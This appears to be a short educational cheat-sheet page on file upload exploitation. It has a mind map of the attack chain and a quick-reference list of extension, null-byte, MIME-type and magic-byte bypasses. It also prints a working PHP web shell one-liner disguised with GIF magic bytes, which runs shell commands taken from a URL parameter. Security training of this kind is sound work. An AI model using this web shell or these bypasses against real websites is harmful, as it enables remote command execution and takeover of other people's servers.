File Upload Exploitation

Bypassing file upload restrictions

File Upload Attacks

Tip: Click on any node to see related information!

MAP Interactive Mind Map

graph TD A[Upload Form] --> B[Test Valid File] B --> C[Upload Shell] C --> D{Blocked?} D -->|Yes| E[Bypass Techniques] D -->|No| F[Locate File] E --> G[Double Extension] E --> H[Null Byte] E --> I[MIME Type Spoof] E --> J[Magic Bytes] F --> K[Execute Shell]

REF Quick Reference

Extension Bypass

.php5, .phtml, .phar # Alternative PHP extensions
.php.jpg, .php%00.jpg # Double extension and null byte bypass

Content-Type

Content-Type: image/jpeg # Spoof MIME type

Magic Bytes

GIF89a; <?php system($_GET['cmd']); ?> # Add GIF magic bytes to bypass file check

Execution

  • Find upload path
  • Navigate and execute
Back to Mind Maps View Full Module